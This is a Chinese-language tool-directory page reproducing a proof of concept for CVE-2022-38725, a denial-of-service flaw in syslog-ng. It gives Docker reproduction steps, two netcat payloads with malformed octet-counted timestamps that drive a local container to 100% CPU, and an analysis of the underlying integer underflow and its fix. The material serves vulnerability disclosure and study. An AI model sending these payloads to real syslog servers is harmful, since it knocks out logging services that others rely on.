Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-38725 — CVE-2022-38725 针对 syslog-ng 的概念验证 | Kitploit
工具/GitHubGitHub/wdahlenburg/cve-2022-38725
漏洞分析漏洞利用网络安全渗透测试日志分析
GitHubwdahlenburg/cve-2022-38725

CVE-2022-38725

CVE-2022-38725 针对 syslog-ng 的概念验证

查看仓库
112年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-38725

CVE-2022-38725 是 syslog-ng 3.38.1 之前版本中的一个未经认证的拒绝服务漏洞。

https://github.com/syslog-ng/syslog-ng/security/advisories/GHSA-7932-4fc6-pvmc

https://nvd.nist.gov/vuln/detail/CVE-2022-38725

复现步骤

  1. 拉取一个存在漏洞的 Docker 镜像:
docker pull linuxserver/syslog-ng:3.36.1
  1. 运行一个存在漏洞的 syslog-ng 容器。注意,可以应用其他 syslog 配置,但默认设置下存在漏洞:
docker run -p 514:5514/udp -p 601:6601/tcp --rm -it linuxserver/syslog-ng:3.36.1
  1. 向服务器发送载荷:
echo '27 <182>2022-08-17T05:02:28.217 mymachine su: 'su root' failed for lonvick on /dev/pts/8' | nc 127.0.0.1 601 -w 1
  1. 在存在漏洞的主机上,观察到 syslog-ng 进程的 CPU 飙升到 100%

syslog-ng-CVE-2022-38725

分析

3.38.1 版本 关联了 https://github.com/syslog-ng/syslog-ng/pull/4110,该 PR 包含了单元测试和多项校验,以防止该漏洞的类似变种。

原始问题 中包含有助于确定根本原因的调试信息。

GitHub 安全公告指出,该漏洞源于对 RFC3164(传统的 BSD syslog 格式)的错误解析。公告解释可能发生整数下溢,并认为除了可用性之外不会造成其他影响。

修复该漏洞的 PR 为 RFC3164 和 RFC5424(较新的 syslog 格式)的时间戳解析器都添加了单元测试。

注意,RFC3164 规范定义的时间戳格式为 Oct 11 22:14:15,而 RFC5424 使用 ISO 格式 1985-04-12T19:20:50.52-04:00。单元测试用例表明 syslog-ng 代码尝试解析这两种格式。GitHub 公告称漏洞发生在解析 RFC3164 消息时,但这并不完全准确。RFC5424 消息才具有可变长度的时间戳。由于 syslog 协议并未明确声明消息类型,syslog-ng 项目尝试同时解析两种时间戳。这也使得带有畸形时间戳的 RFC3164 消息能够触发该漏洞:

echo '21 <182>Oct 11 22:14:15.123 mymachine su: 'su root' failed for lonvick on /dev/pts/8' | nc 127.0.0.1 601 -w 1

syslog 源驱动 使用 RFC6587 描述的八位字节计数方式,即在 TCP 消息中,syslog 消息前缀为发送的字节数。

漏洞可以通过发送一个未完全考虑 ISO 时间戳的消息大小来触发。syslog-ng 代码遍历时间戳,并从指定长度中减去数字位数。这种不匹配会导致下溢条件,使得读取长度变为负数,而消息中仍有数据可读。

进程随后进入一个 while 循环,陷入试图从消息中读取字符的状态。这导致该进程的 CPU 使用率达到 100%。攻击者可以发送多个载荷来消耗更多的系统资源。

Syslog 在 UDP 上不使用八位字节计数,因此上述载荷在 UDP 上不会产生异常效果。重启 syslog-ng 容器/进程可以重置 CPU 使用率。

补充

一位 syslog-ng 维护者指出,可能通过在消息中间发送 TCP RST 来触发此漏洞。注意,消息需要在 TCP RST 之前发送部分时间戳。这可能允许绕过八位字节计数。

下载工具